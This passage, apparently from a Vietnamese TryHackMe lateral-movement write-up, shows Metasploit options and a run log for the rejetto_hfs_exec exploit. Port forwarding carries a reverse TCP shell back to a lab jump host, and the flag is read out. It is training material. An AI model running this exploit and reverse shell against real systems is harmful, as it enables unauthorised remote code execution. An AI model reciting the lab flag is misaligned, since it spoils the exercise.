RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8888 yes The target port (TCP)
SRVHOST 127.0.0.1 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 1337 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST thmjmp2.za.tryhackme.com yes The listen address (an interface may be specified)
LPORT 1102 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Với:
8888
là port của HFS sau khi chuyển tiếp.1337
là port của web server ở trênthmjmp2
.1102
là port hứng reverse shell ở trênthmjmp2
.
Thực hiện khai thác và ta thu được reverse shell cũng như là lấy được flag:
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
[*] Started reverse TCP handler on 127.0.0.1:1102
[*] Using URL: http://thmjmp2.za.tryhackme.com:1337/6mqQg5aEurbFE
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /6mqQg5aEurbFE
[!] Tried to delete %TEMP%\YymWnRW.vbs, unknown result
[*] Command shell session 3 opened (127.0.0.1:1102 -> 127.0.0.1:50196) at 2024-10-04 19:25:34 +0100
[*] Server stopped.
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\hfs>
C:\hfs>type flag.txt
type flag.txt
THM{FORWARDING_IT_ALL}
Success
THM{FORWARDING_IT_ALL}
Related
list
from outgoing([[Lateral Movement and Pivoting]])
sort file.ctime asc